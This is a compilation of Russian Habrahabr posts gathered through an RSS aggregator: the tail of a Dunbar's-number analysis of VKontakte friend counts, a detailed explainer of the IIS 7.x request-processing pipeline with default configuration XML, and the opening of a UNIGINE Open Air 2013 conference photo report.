На самом деле, тут всё сложнее: чисел у Данбара несколько для разных степеней близости людей. Но 150 — самое известное. Одно из образных определений — это «наибольшее число людей, к которым вам не будет неловко подсесть, если вы случайно встретились в баре». Ну или «число людей, которых вы можете попросить об одолжении, будучи уверенными, что они не откажут».

Узнав такую потрясающую вещь, я не мог не полезть её проверять. Благо, социальные сети это позвояют легко сделать, да и, как утверждается, исследования на Facebook идею Данбара подтверждали.
Я посчитал для ~159 000 пользователей ВКонтакте количество их друзей и построил гистограмму. Конечно, количество друзей — не самая точная метрика, потому что не учитывает силу связи между людьми. Зато её легко получить из публично доступных данных.
На этой картинке я для наглядности обрезал длинный «хвост» распределения: были отдельные люди с количеством друзей до 10 000 (музыканты, радиоведущие и всякие любители постить смешные картинки). Действительно, видно, что у распределения есть максимум, и он как раз где-то в районе 150.



А если построить гистограмму отдельно для мужчин и женщин, получится, что у мужчин максимум меньше, чем у женщин, что тоже совпадает с результатами предыдущих исследований.



Конечно, было бы интересно использовать какую-нибудь другую метрику, чтобы отфильтровать друзей, с которыми человек не поддерживает отношения. Например, смотреть, с кем он переписывается в личных сообщениях или на стенах. Но без разрешения пользователя такую информацию не получить. Можно было бы взять другие социальные сети и считать, например, связи людей по комментариям в ЖЖ. Но боюсь, картинку будет портить обилие ботов, да и сообщество там поменьше.

Немного печально осознавать, что выше неокортекса не прыгнешь. Но с другой стороны, обнаружить, что даже такая эфемерная вещь как дружба подчиняется вполне ясным законам природы — это впечатляет.

Немного ссылок по теме:
The Dunbar Number, From the Guru of Social Networks
The ultimate brain teaser

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Основы архитектуры IIS, или запросопровод для ASP.NET




В прошлом году мне пришлось отсобеседовать около 10-15 кандидатов на должность веб-программиста на ASP.NET средней квалификации. В качестве вопросов «на засыпку», или «со звёздочкой», я просил рассказать, что происходит с HTTP-запросом от момента его поступления на 80-й порт сервера до передачи управления коду aspx-страницы. Статистика была удручающей: ни один из кандидатов не смог выдать хоть что-нибудь внятное. И этому есть своё объяснение: ни в MSDN с technet, ни на специализированном ресурсе iis.net, ни в книгах a-la «ASP.NET для профессионалов», ни в блогах данной теме не уделяется должного внимания – информацию приходится собирать чуть ли не по крупицам. Я даже знаю людей, которые решили написать свой собственный веб-сервер (Игорь, Георгий, привет!), чтобы не разбираться в работе IIS. Единственная толковая статья – «Introduction to IIS Architectures» Риган Темплин (Reagan Templin). Но и она остаётся на периферии интересов аспнетчиков.

Хотя мне лично уже не так интересны чисто технические вопросы, я решил собрать в кучу свой накопленный опыт, раскопать на просторах Сети любопытные детали и передать сие сакральное знание массам, пока оно ещё не устарело. Сразу оговорюсь, что статья ориентирована в большей степени на IIS 7.x, иногда будут ответвления про 6-ку. С 8-й версией в работе не сталкивался, поэтому решил обойти её в этой статье стороной. Но, уверен, читатель без труда разберётся с восьмёркой, освоив изложенный ниже материал.

1. Общий план
2. Крупный план
2.1. HTTP.SYS
2.2. World Wide Web Publishing Service (W3SVC)
2.3. Windows Process Activation Service (WAS)
2.4. Пул приложений
2.5. Домен приложения, приложение
3. Что дальше?
Источники

1. Общий план

Итак, начнём с конца, а потом рассмотрим отдельные аспекты чуть более пристально.
В англоязычной литературе процесс обработки запроса в IIS называется «request processing pipeline» — что-то вроде «конвейера обработки запроса». В общих чертах он представлен на рисунке ниже для http-запроса.


Рис. 1. HTTP request processing pipeline (IIS 7.x).

Таким образом, http-запрос проходит по «сборочной ленте конвейера» через следующее:

1. Браузер обращается к веб-серверу по определённому URL, на стороне сервера запрос перехватывает драйвер HTTP.SYS.
2. HTTP.SYS стучится к WAS для получения информации из хранилища конфигурации.
3. Служба WAS запрашивает конфигурацию из хранилища — из файла в папке IIS (applicationHost.config).
4. Поскольку данный запрос получен по протоколу HTTP конфигурационную информацию получает служба W3SVC (она же WWW Service на картинке), эта информация содержит в себе данные о пуле приложений (application pool) и прочих параметрах сайта.
5. Служба W3SVC использует эту информацию для кофигурации HTTP.SYS.
6. Служба WAS запускает процесс W3WP.exe для пула приложений, если он ещё не был запущен.
7. В процессе W3WP.exe работает приложение веб-сайта, которое, собственно, формирует и возвращает ответ драйверу HTTP.SYS.
8. HTTP.SYS отправляет ответ браузеру.

В принципе уже этой схемы достаточно для прохождения интервью в большинстве компаний и получения общего представления об архитектуре IIS. Но если вы не для галочки сюда зашли, то прошу следовать далее.

2. Крупный план

Теперь остановимся чуть поподробнее на каждом из упомянутых компонентов.

2.1. HTTP.SYS
На транспортном уровне IIS использует прослушивателей протоколов (protocol listeners), которые располагаются поверх стека TCP/IP. Наиболее интересный нам такой компонент – это системный драйвер HTTP.sys, который встроен в ядро ОС и работает с протоколами HTTP и HTTPS, регистрирующийся самостоятельно на прослушку всех портов, на которые будут приходить запросы к сайтам в IIS.

Встроенный в ядро HTTP.sys стал нововведением в IIS 6, заместив собой Windows Socket API – компонент перехвата HTTP- и HTTPS-запросов на пользовательском уровне в IIS более ранних версий. Вероятно, интеграция драйвера в ядро является той самой причиной, по которой версия IIS жёстко привязана к версии Windows.

Драйвер принимает все входящие запросы и перенаправляет их в нужный пул приложений. Если по какой-то причине рабочий процесс, в коем хостится требуемый пул, остановлен (сбой, таймаут простоя, смена конфигурации и т.п.) или ещё запускается, то HTTP.sys сохраняет входящие запросы в специально отведённой для каждого пула очереди. Таким образом, запросы пользователей никуда не пропадают, и они вообще не замечают каких-то перебоев в работе сайтов под управлением IIS.

Ещё HTTP.sys умеет кешировать ответы (более подробно — Instances in which HTTP.sys does not cache content), поэтому некоторые запросы обрабатываются без передачи на уровень приложения, а также проводит первичный разбор URI запроса и его валидацию в соответствии с RFC 2396 (кое-что можно почерпнуть отсюда — Use of special characters like '%' ‘.’ and ‘:’ in an IIS URL) и журналирование запросов/ответов.

Некоторые настройки HTTP.sys вынесены в системный реестр Windows (более подробно — Http.sys registry settings for Windows). Кстати, там же – в реестре – можно подсмотреть обычное место прописки нашего гражданина: %SystemRoot%\system32\drivers\http.sys.
Признаться, в процессе написания данной статьи я сам открыл для себя некоторые детали. Например, кэширование ответов на уровне драйвера HTTP.sys. Это помогло мне объяснить один случай странного, как мне тогда казалось, феномена в поведении IIS. Маркетологи выложили на сайт swf-открытку перед очередным праздником, но потом им что-то не понравилось в названии файла и они его переименовали. Однако сайт продолжал выдавать открытку по старому URL и даже очистка браузерного кэша не помогала. Тут уже подключился я, но ни перезапуск веб-сайта и всего пула приложений, ни обращение к сайту в обход корпоративного прокси-сервера не дали ожидаемого результата. Но теперь-то мы знаем, кто виноват.

2.2. World Wide Web Publishing Service (W3SVC)
Данная служба (сокращённо именуемя в спецификациях WWW service) была представлена в IIS 6 в качестве отдельного компонента для работы с протоколами HTTP/HTTPS и управления рабочими процессами приложений и выполняла следующие функции:
  • Администрирование драйвера HTTP.sys.
  • Управление рабочими процессами.
  • Мониторинг показателей производительности веб-сайтов.
Эта служба функционирует в Windows Server 2003 в контексте процесса Svchost.exe (настройки можно посмотреть в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3Svc) в отличие от всех остальных служб IIS, которые исполняются в контексте процесса Inetinfo.exe, и реализована в Iisw3adm.dll.

В IIS 7.x функция управления процессами была вынесена в отдельную службу – WAS (см. п.2.3) в целях универсализации архитектуры. Теперь WWW-служба стала по своей сути одним из адаптеров, специализируясь на протоколах HTTP/HTTPS – работа поверх драйвера HTTP.sys. Однако WWW-служба остаётся краеугольным компонентом IIS, поэтому её настройка отличается от настройки адаптеров к другим протоколам (чуть подобнее здесь); она функционирует в том же рабочем процессе, что и WAS, и реализована в той же самой библиотеке (рис. 2).


Рис.2. Рабочий процесс со службами W3SVC и WAS.

Раз уж зашла речь об адаптерах к прослушивателям протоколов (protocol listener adpater), то давайте чуть задержимся и посмотрим, какие они бывают. В принципе IIS 7.x можно настроить для обработки запросов по любым протоколам помимо типовых HTTP и FTP, например, POP3, SMTP, Gopher. Вы даже вольны придумать свой протокол для своей веб- или WCF-службы и реализовать для него все нужные компоненты, если не жалко своего времени. Скорее всего, адаптеры и прослушиватели для наиболее распространённых протоколов доступны для свободного и коммерческого скачивания – этого я не проверял. Но прежде всего стоить обратить внимание на стандартные службы (рис. 3), поставляемые с .NET Framework и интегрированные с IIS:
  • NetTcpActivator для протокола TCP;
  • NetPipeActivator для Named Pipes;
  • NetMsmqActivator для Message Queuing (ака MSMQ).


Рис. 3. Перечень стандартных не-HTTP-адаптеров в оснастке Служб Windows.

Но всё-таки наиболее важным для нас адаптером является именно WWW-служба, т.ч. остановимся чуть подробнее на двух оставшихся от IIS 6 функциях.

Администрирование и конфигурирование HTTP(S). В момент обновления конфигурации веб-сайтов, служба WAS передаёт эту информацию WWW-службе, а та уже, в свою очередь, настраивает HTTP.sys на прослушку конкретных портов, разбор IP и заголовка запрашиваемого сайта и, возможно, других параметров драйвера. В обратную сторону W3SVC обращается к WAS, когда в очередь запросов в HTTP.sys поступает новый, – для получения рабочего процесса-обработчика данного запроса.

Отслеживание показателей производительности. WWW-служба ведёт счётчики производительности, используя для этого драйвер HTTP.sys, и предоставляет их показатели веб-сайтами и кэшу IIS. Более подробной информации по этому вопросу мне найти не удалось.

2.3. Windows Process Activation Service (WAS)
Итак, WWW-служба в IIS 7.x, как и в IIS 6, продолжает выполнять задачи по администрированию HTTP.sys и управлению показателями производительности веб-сайтов. А вот задача управления рабочими процессами вынесена в отдельную службу – WAS. Она запускается системой в единственном экземпляре, считывает конфигурацию из файла %SystemRoot%\System32\inetsrv\Config\ApplicationHost.config и настраивает через соответствующие адаптеры прослушивателей протоколов в соответствии с указанной в нём информации. Напомним, что для протоколов HTTP/HTTPS адаптером является служба W3SVC, а прослушивателем – драйвер HTTP.sys. При перехвате прослушивателем запроса он через свой адаптер обращается к службе WAS для получения рабочего процесса приложения, которому будет передан запрос для обработки и формирования ответа клиенту.

При активации нужного для обработки пользовательского запроса приложения задействуются следующие компоненты:
  • Адаптеры прослушивателей (Listener adapters) – специальные службы Windows, работающие с конкретным протоколом и взаимодействующие с WAS для направления запросов к правильному рабочему процессу.
  • Собственно WAS. Она ответственна за создание рабочих процессов и управление их временем жизни.
  • Исполняемый файл w3wp.exe – шаблон рабочего процесса.
  • Менеджер приложений управляет созданием и утилизацией доменов приложений (application domains), которые хостятся внутри рабочего процесса.
  • Обработчики протоколов – протоколозависимые компоненты внутри рабочего процесса, ответственные за обмен данными между конкретным адаптером и рабочим процессом. Есть 2 типа обработчиков протоколов: у процесса (process protocol handler — PPH) и у домена приложения (AppDomain protocol handlers — ADPH).
Ниже на рисунке представлен пример схемы компонентов внутри некоего экземпляра рабочего процесса приложения. Когда служба WAS запускает рабочий процесс, она загружает в него согласно конфигурации приложения требуемые обработчики протоколов процессов (PPH) и посредством менеджера приложений создаёт внутри рабочего процесса домен приложения, в котором будет хоститься приложение. Менеджер приложений загружает код приложения в домен приложения и требуемые обработчики протоколов уровня приложения (ADPH) для обработки сообщений по соответствующим сетевым протоколам.


Рис. 4. Компоненты w3wp.exe для взаимодействия с внешними компонентами.

Как отмечалось выше, .NET Framework несёт в себе реализацию компонент для протоколов HTTP/HTTPS (наш любимый ASP.NET), net.tcp, net.pipe и MSMQ. Стеки протоколов HTTP/HTTPS и FTP всё-таки более тесно интегрированы в IIS и ОС, поэтому настройку для нового протокола лучше продемонстрировать на примере менее популярных дотнетовских протоколов. Итак, после установки фреймворка в файле конфигурации IIS ApplicationHost.config появляется записи:
<code class="xml"><system.applicationHost>
    <listenerAdapters>
        <add name="http" />
        <add name="net.tcp" 
          identity="S-1-5-80-3579033775-2824656752-1522793541-1960352512-462907086" />
         <add name="net.pipe" 
           identity="S-1-5-80-2943419899-937267781-4189664001-1229628381-3982115073" />
          <add name="net.msmq" 
            identity="S-1-5-80-89244771-1762554971-1007993102-348796144-2203111529" />
           <add name="msmq.formatname" 
             identity="S-1-5-80-89244771-1762554971-1007993102-348796144-2203111529" />
    </listenerAdapters>
</system.applicationHost>
</code>
А соответствующие компоненты PPH и ADPH настраиваются в дотнетовском machine.config:
<code class="xml"><system.web>
   <protocols>
      <add name="net.tcp" 
        processHandlerType="System.ServiceModel.WasHosting.TcpProcessProtocolHandler"
        appDomainHandlerType="System.ServiceModel.WasHosting.TcpAppDomainProtocolHandler"
        validate="false" />
      <add name="net.pipe" 
        processHandlerType="System.ServiceModel.WasHosting.NamedPipeProcessProtocolHandler"
          appDomainHandlerType="System.ServiceModel.WasHosting.NamedPipeAppDomainProtocolHandler”/>
      <add name="net.msmq"
        processHandlerType="System.ServiceModel.WasHosting.MsmqProcessProtocolHandler"
        appDomainHandlerType="System.ServiceModel.WasHosting.MsmqAppDomainProtocolHandler"
        validate="false" />
   </protocols>
</system.web>
</code>
В конфигурационном файле веб-сервера ApplicationHost.config вместе с настройками приложений хранятся связки (bindings), определяющие параметры входящих запросов, которые будут направляться данному приложению. Такими параметрами являются название сетевого протокола, IP-адрес сервера, доменное имя и порт сайта. Эти параметры должны быть уникальными среди работающих приложений для однозначной идентификации целевого приложения. Служба WAS отслеживает это ограничение и не даст вам запустить сайт, у которого это условие не соблюдено, либо предложит остановить сайт с такой же связкой.
<code class="xml">                <bindings>
                    <binding protocol="http" bindingInformation="109.120.157.xxx:80:dddddd.info" />
                    <binding protocol="http" bindingInformation="109.120.157.xxx:80:www.ddddd.info" />
                </bindings>
</code>
Обратите внимание, что в стандартном режиме эксплуатации IIS служба WAS, служба-адаптер для каждого прослушивателя протокола (в т.ч. W3SVC) и сами драйверы/прослушиватели каждого из протоколов (в т.ч. HTTP.sys) запущены в ОС в единственном экземпляре. Но отдельные запросы могут направляться разным приложениям в разных рабочих процессах. С другой стороны, отдельно взятому приложению могут направляться запросы по разным протоколам через соответствующие адаптеры. Видимо, для корректной реализации такого поведения и была придумана архитектурная связка драйвер протокола – адаптер драйвера протокола – служба активации (своеобразный регулировщик, точнее — маршрутизатор) – рабочий процесс.

2.4. Пул приложений
При конфигурации веб-приложения помимо привязок (binding) к параметрам запросов и прочих настроек указывается принадлежность к пулу приложений. Пул приложений стал нововведением в IIS 6 и был призван обеспечить изоляцию веб-приложений друг от друго и тем самым повысить стабильность работы веб-сервера в целом. Суть заключается в том, что код приложения выполняется внутри специального процесса Windows – w3wp.exe. Поэтому исключение внутри веб-приложения приведёт к краху только этого процесса и никак не повлияет на доступность веб-приложений в других пулах и работу служб IIS. Более того, служба WAS попытается заново запустить упавший сайт, и внешние клиенты могут даже не заметить проблем в работе сервера.

Для управления некоторыми параметрами отдельно взятого рабочего процесса w3wp.exe в IIS используется пул приложений. Наиболее часто используемыми из них являются учётная запись, под которой будет запущен процесс, ограничения для очереди запросов, различные таймеры и счетчики для автоматического перезапуска процесса, архитектура x86/x64 (в IIS 7.x) и некоторые другие (рис. 5), о чём любопытный читатель может с лёгкостью прочесть в MSDN и любимом поисковике. Т.о. можно говорить (с определёнными оговорками, см. тж. последний абзац в 2.5) о тождественности процесса w3wp.exe и пула приложений.


Рис. 5 Дополнительные настройки пула приложений

Ключевым нововведением в концепции пулов приложений в IIS 7.x стал новый параметр – модель управления контейнером, который может принимать 2 значения: классическая (Classic mode) и встраиваемая модель (Integrated mode).
Чтобы объяснить разницу между этими режимами работы, потребуется знакомство с понятием «модуль» (Module) в IIS 6/7.x и событийной моделью обработки запросов в связке IIS + ASP.NET. Тема эта достойна отдельной статьи, но меня на неё уже, увы, не хватит, судя по всему. Здесь же представлю вашему вниманию лишь общие, ключевые моменты.

Итак, IIS при обработке запроса пропускает его внутри рабочего процесса через последовательность специальных компонент – модулей. Например фильтрация, перенаправление, кэширование, аутентификация, авторизация. Каждый такой модуль ассоциируется с определённым событием, а их последовательность составляют событийную модель обработки запросов. Модули делятся на нативные (Native) и управляемые (Managed). Нативные модули поставляются вместе с IIS, а управляемые – в составе .NET Framework (ASP.NET). В общем-то, вы можете управлять ими в определённой степени на уровне конфигурации веб-приложения, но взаимодействовать из кода своего ASP.NET-сайта вы можете только с управляемыми модулями.


Рис. 6. Идеология модулей в IIS.

Классическая модель управления контейнером обеспечивает обратную совместимость с режимом изоляции рабочих процессов в IIS 6 – запросы к ASP.NET-сайту сначала проходят через нативные модули, а затем передаются в Aspnet_isapi.dll для обработки модулями в управляемой среде. Такое разделение между IIS и ASP.NET приводит к дублированию некоторых функций, например, аутентификации и авторизации. И вы не имеете возможности управлять программно поведением нативных модулей (пример хоть и не самый животрепещущий, но всё же – раздел «Убираем заголовок Server» в этой статье).

Встраиваемая модель предполагает более тесное взаимодействие между IIS и ASP.NET. Запрос в такой архитектуре обработки пропускается через установленную последовательность событий, в каждом из которых запрос пропускается через нативный и управляемые модули. В таком режиме модели обработки запросов IIS и ASP.NET объединены в единую модель, что позволяет избежать дублирования функций и получить больший контроль над обработкой запроса.

На практике самое важное, что необходимо учитывать при разработке и развёртывании веб-приложений, – это частичная несовместимость этих двух режимов. Т.е. при переводе сайта (точнее пула приложений, в котором работает сайт) из классической модели во встраиваемую практически всегда потребуется корректировка кода (хоть, возможно, и не значительная), а также тщательное тестирование.

2.5. Домен приложения, приложение
Непосредственными контейнерами веб-приложения являются приложение и домен приложения (Application Domain, AppDomain). Зачастую эти два понятия отождествляются, но всё-таки это немного разные вещи. Приложение – это понятие IIS, а домен приложения – из ASP.NET. Причём в общем случае в приложении может быть несколько доменов. Приложением вы можете управлять из консоли IIS, а доменом приложения – в основном программно. Так, например, перезапускается приложение из консоли. А когда мы пересохраняем web.config, то перезагружается именно домен приложения, не трогая IIS-приложение.

Более важным с практической точки зрения является то, что приложение/домен приложения является sandbox-ом для кода вашего ASP.NET-сайта (не с такой надёжной изоляцией, как в случае с пулом, но всё же). Приведу один из моих любимых вопросов, которые я задавал соискателям на собеседованиях. Пусть имеются веб-сайт-1 и веб-сайт-2, а также некая библиотека MyLib.dll, в которой определён класс MyClass1 со статическим полем Field1. Итак, оба сайта работают под управлением одного пула приложений и используют одну и ту же библиотеку MyLib.dll. Веб-сайт-1 записывает в MyClass1.Field1 = 16 (рис. 7). Вопрос: увидит ли веб-сайт-2 сделанные изменения? Напрашивается ответ «Нет». Но почему? Потому что, для IIS-приложений выделяются непересекающиеся адресные пространства, даже если они работают внутри единого рабочего процесса, поэтому в память веб-приложений загружаются свои копии сборок (прошу не придираться к возможным неточностям в терминах работы с памятью в .NET Framework).

Рис. 7. Рисунок для задачки.

Ещё один важный момент, который хотелось бы здесь отметить. По умолчанию каждый отдельный рабочий процесс может использовать все имеющиеся на сервере процессоры/ядра, а пул приложений работает на одном рабочем процессе и, следовательно, веб-приложение работает внутри одного IIS-приложения. Тем не менее, вы можете настроить web garden, увеличив кол-во рабочих процессов на пул и, следовательно, число IIS-приложений на одно веб-приложение. Вы без труда сможете найти на просторах интернета информацию о web garden, поэтому опускаю здесь подробности. Единственное, хотелось бы предупредить, что данное средство не является инструментом увеличения производительности, т.к. по умолчанию и так используются все вычислительные мощности сервера. Наоборот, на синхронизацию работы 2+ рабочих процессов уходил «лишнее» время CPU. Делается это в основном для увеличения доступности веб-приложения. Нельзя здесь также не упомянуть о веб-ферме (web farm), как о простейшем средстве балансировки нагрузки в IIS – об этом тоже достаточно статей в Сети. Это другой пример распределённого веб-приложения. Впрочем, с тем же nginx встроенная балансировка нагрузки в IIS конкуренции не выдерживает, и в реальных высоконагрузочных системах вам придётся изобретать свой велосипед или задействовать продукты сторонних производителей.

3. Что дальше?

Дальше нужно разбираться в работе модулей (в терминах IIS) и событийной модели, в которых уже происходит собственно обработка запроса, о чем упоминалось в разделе 2.4. Вообще говоря, эта тема заслуживает отдельной статьи, на которую, боюсь, меня уже не хватит. Но без этого нельзя сказать, что мы рассмотрели весь конвейер обработки запросов. Поэтому кратко пройдёмся здесь по основным моментам, которые любопытствующий читатель может проработать самостоятельно.

Как отмечалось выше в разделе 2.4 модули IIS содержатся внутри рабочего процесса. Через них последовательно пропускается запрос (в отличие от HttpHandler-ов). Их набор и порядок определяется конфигурацией сервера и/или конкретного веб-приложения. Модули предназначены для отдельных, узконаправленных задач, таких как авторизация, кэширование, кастомное логгирование, сжатие, возврат статического контента и, конечно же, формирование HTML-страниц по заданному URL.

Как мы уже знаем, модули в IIS бывают 2 типов: нативные и управляемые. Точный список модулей вы можете почерпнуть в MSDN-е или в статье Риган Темплин. Вы всегда можете написать свой модуль, например, для редиректов. Чаще всего, конечно, делают управляемые модули, т.к. их проще всего реализовать. К слову, ASP.NET WebForms и MVC работают в виде таких вот управляемых модулей. Т.ч. лично у меня холивары WebForms vs. MVC вызывают улыбку и трудно сдерживаемое желание потроллить. Зная принципы работы IIS и ASP.NET, вы сами сможете реализовать любой понравившийся вам паттерн.

На следующем уровне рассмотрения мы столкнёмся уже с составляющими ASP.NET, такими как HttpHandler-ы и события обработки страницы. Про это написана масса статей, т.ч. не вижу смысла сколько-нибудь задерживаться на этом. Единственное, позволю себе посоветовать идущим на собеседования забить в поисковике «ASP.NET page lifecycle» перед встречей – этого уж точно по моему глубокому убеждению стыдно не знать специалистам, считающих себя разработчиками на ASP.NET.

Пример дефолтных настроек нативных модулей в applicationHost.config
<code class="xml"><system.webServer>
        <globalModules>
            <add name="UriCacheModule" image="%windir%\System32\inetsrv\cachuri.dll" />
            <add name="FileCacheModule" image="%windir%\System32\inetsrv\cachfile.dll" />
            <add name="TokenCacheModule" image="%windir%\System32\inetsrv\cachtokn.dll" />
            <add name="HttpCacheModule" image="%windir%\System32\inetsrv\cachhttp.dll" />
            <add name="StaticCompressionModule" image="%windir%\System32\inetsrv\compstat.dll" />
            <add name="DefaultDocumentModule" image="%windir%\System32\inetsrv\defdoc.dll" />
            <add name="DirectoryListingModule" image="%windir%\System32\inetsrv\dirlist.dll" />
            <add name="ProtocolSupportModule" image="%windir%\System32\inetsrv\protsup.dll" />
            <add name="HttpRedirectionModule" image="%windir%\System32\inetsrv\redirect.dll" />
            <add name="ServerSideIncludeModule" image="%windir%\System32\inetsrv\iis_ssi.dll" />
            <add name="StaticFileModule" image="%windir%\System32\inetsrv\static.dll" />
            <add name="AnonymousAuthenticationModule" image="%windir%\System32\inetsrv\authanon.dll" />
            <add name="CertificateMappingAuthenticationModule" image="%windir%\System32\inetsrv\authcert.dll" />
            <add name="UrlAuthorizationModule" image="%windir%\System32\inetsrv\urlauthz.dll" />
            <add name="BasicAuthenticationModule" image="%windir%\System32\inetsrv\authbas.dll" />
            <add name="WindowsAuthenticationModule" image="%windir%\System32\inetsrv\authsspi.dll" />
            <add name="DigestAuthenticationModule" image="%windir%\System32\inetsrv\authmd5.dll" />
            <add name="IISCertificateMappingAuthenticationModule" image="%windir%\System32\inetsrv\authmap.dll" />
            <add name="IpRestrictionModule" image="%windir%\System32\inetsrv\iprestr.dll" />
            <add name="RequestFilteringModule" image="%windir%\System32\inetsrv\modrqflt.dll" />
            <add name="CustomLoggingModule" image="%windir%\System32\inetsrv\logcust.dll" />
            <add name="CustomErrorModule" image="%windir%\System32\inetsrv\custerr.dll" />
            <add name="HttpLoggingModule" image="%windir%\System32\inetsrv\loghttp.dll" />
            <add name="TracingModule" image="%windir%\System32\inetsrv\iisetw.dll" />
            <add name="FailedRequestsTracingModule" image="%windir%\System32\inetsrv\iisfreb.dll" />
            <add name="RequestMonitorModule" image="%windir%\System32\inetsrv\iisreqs.dll" />
            <add name="IsapiModule" image="%windir%\System32\inetsrv\isapi.dll" />
            <add name="IsapiFilterModule" image="%windir%\System32\inetsrv\filter.dll" />
            <add name="ConfigurationValidationModule" image="%windir%\System32\inetsrv\validcfg.dll" />
            <add name="ManagedEngine64" image="%windir%\Microsoft.NET\Framework64\v2.0.50727\webengine.dll" preCondition="integratedMode,runtimeVersionv2.0,bitness64" />
            <add name="ManagedEngine" image="%windir%\Microsoft.NET\Framework\v2.0.50727\webengine.dll" preCondition="integratedMode,runtimeVersionv2.0,bitness32" />
            <add name="ManagedEngineV4.0_32bit" image="c:\Windows\Microsoft.NET\Framework\v4.0.30319\webengine4.dll" preCondition="integratedMode,runtimeVersionv4.0,bitness32" />
            <add name="ManagedEngineV4.0_64bit" image="c:\Windows\Microsoft.NET\Framework64\v4.0.30319\webengine4.dll" preCondition="integratedMode,runtimeVersionv4.0,bitness64" />
        </globalModules>
</system.webServer>
</code>

Пример дефолтных настроек управляемых модулей в applicationHost.config
<code class="xml"><system.webServer>
        <modules>
            ***
                <add name="OutputCache" type="System.Web.Caching.OutputCacheModule" preCondition="managedHandler" />
                <add name="Session" type="System.Web.SessionState.SessionStateModule" preCondition="managedHandler" />
                <add name="WindowsAuthentication" type="System.Web.Security.WindowsAuthenticationModule" preCondition="managedHandler" />
                <add name="FormsAuthentication" type="System.Web.Security.FormsAuthenticationModule" preCondition="managedHandler" />
                <add name="DefaultAuthentication" type="System.Web.Security.DefaultAuthenticationModule" preCondition="managedHandler" />
                <add name="RoleManager" type="System.Web.Security.RoleManagerModule" preCondition="managedHandler" />
                <add name="UrlAuthorization" type="System.Web.Security.UrlAuthorizationModule" preCondition="managedHandler" />
                <add name="FileAuthorization" type="System.Web.Security.FileAuthorizationModule" preCondition="managedHandler" />
                <add name="AnonymousIdentification" type="System.Web.Security.AnonymousIdentificationModule" preCondition="managedHandler" />
                <add name="Profile" type="System.Web.Profile.ProfileModule" preCondition="managedHandler" />
                <add name="UrlMappingsModule" type="System.Web.UrlMappingsModule" preCondition="managedHandler" />
                <add name="ServiceModel-4.0" type="System.ServiceModel.Activation.ServiceHttpModule, System.ServiceModel.Activation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" preCondition="managedHandler,runtimeVersionv4.0" />
                <add name="UrlRoutingModule-4.0" type="System.Web.Routing.UrlRoutingModule" preCondition="managedHandler,runtimeVersionv4.0" />
                <add name="ScriptModule-4.0" type="System.Web.Handlers.ScriptModule, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" preCondition="managedHandler,runtimeVersionv4.0" />
        </modules>
</system.webServer>
</code>

Пример дефолтных настроек HTTP-обработчиков в applicationHost.config
<code class="xml"><system.webServer>
        <handlers accessPolicy="Read, Script">
            ***
                <add name="AssemblyResourceLoader-Integrated" path="WebResource.axd" verb="GET,DEBUG" type="System.Web.Handlers.AssemblyResourceLoader" preCondition="integratedMode" />
                <add name="PageHandlerFactory-Integrated" path="*.aspx" verb="GET,HEAD,POST,DEBUG" type="System.Web.UI.PageHandlerFactory" preCondition="integratedMode" />
                <add name="SimpleHandlerFactory-Integrated" path="*.ashx" verb="GET,HEAD,POST,DEBUG" type="System.Web.UI.SimpleHandlerFactory" preCondition="integratedMode" />
                <add name="WebServiceHandlerFactory-Integrated" path="*.asmx" verb="GET,HEAD,POST,DEBUG" type="System.Web.Services.Protocols.WebServiceHandlerFactory, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" preCondition="integratedMode,runtimeVersionv2.0" />
                <add name="HttpRemotingHandlerFactory-rem-Integrated" path="*.rem" verb="GET,HEAD,POST,DEBUG" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" preCondition="integratedMode,runtimeVersionv2.0" />
                <add name="HttpRemotingHandlerFactory-soap-Integrated" path="*.soap" verb="GET,HEAD,POST,DEBUG" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" preCondition="integratedMode,runtimeVersionv2.0" />
                <add name="AXD-ISAPI-2.0" path="*.axd" verb="GET,HEAD,POST,DEBUG" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll" preCondition="classicMode,runtimeVersionv2.0,bitness32" responseBufferLimit="0" />
            ***
        </handlers>
</system.webServer>
</code>

Жизненный цикл страницы в ASP.NET 2.0 WebForms


Жизненный цикл страницы в ASP.NET 4.0 WebFormsimage



Источники
  1. Наше всё – Introduction to IIS Architectures
  2. Application Domains Overview
  3. Application vs. AppDomain
  4. ASP.NET Application Life Cycle Overview for IIS 5.0 and 6.0
  5. ASP.NET Application Life Cycle Overview for IIS 7.0
  6. Beginner’s Guide: How IIS Process ASP.NET Request
  7. Exchange Server 2003 Services Dependencies: Internet Information Services
  8. HTTP Request Lifecycle Events in IIS Pipeline that every ASP.NET Developer Should Know
  9. Http.sys registry settings for Windows
  10. Understanding IIS 7.0 Architecture: Non-HTTP Request Processing
  11. Windows Server 2008 Events and Errors: IIS Windows Process Activation Service (WAS)
  12. Windows Server 2008 Events and Errors: IIS World Wide Web Publishing Service (W3SVC)
  13. Windows Server 2008 R2: Windows Process Activation Service (WAS) Overview


Источник: habrahabr.ru,
получено с помощью rss-farm.ru


UNIGINE Open Air 2013. Фотоотчет

240 участников, 2 дня, 12 лекций, 3 ведра виски, 63 килограмма шашлыков, 5 кВт звука – под Томском прошел UNIGINE Open Air 2013. Это конференция под открытым небом, посвященная технологиям 3D-графики и разработке компьютерных игр.



В этом году мы проводили опен-эйр уже во второй раз, и он стал еще масштабнее и разностороннее: выросло количество участников, расширилась их география, стало больше докладов. Мы были рады пообщаться с разработчиками игр из Томска, Новосибирска, Омска, Барнаула, Бийска, Красноярска, Кемерово, Воронежа и других городов!
Разъезжались участники неохотно, а потом писали нам, что в городе скучают по атмосфере опен-эйра. Чертовски приятно, что и говорить.



О чем рассказывали?

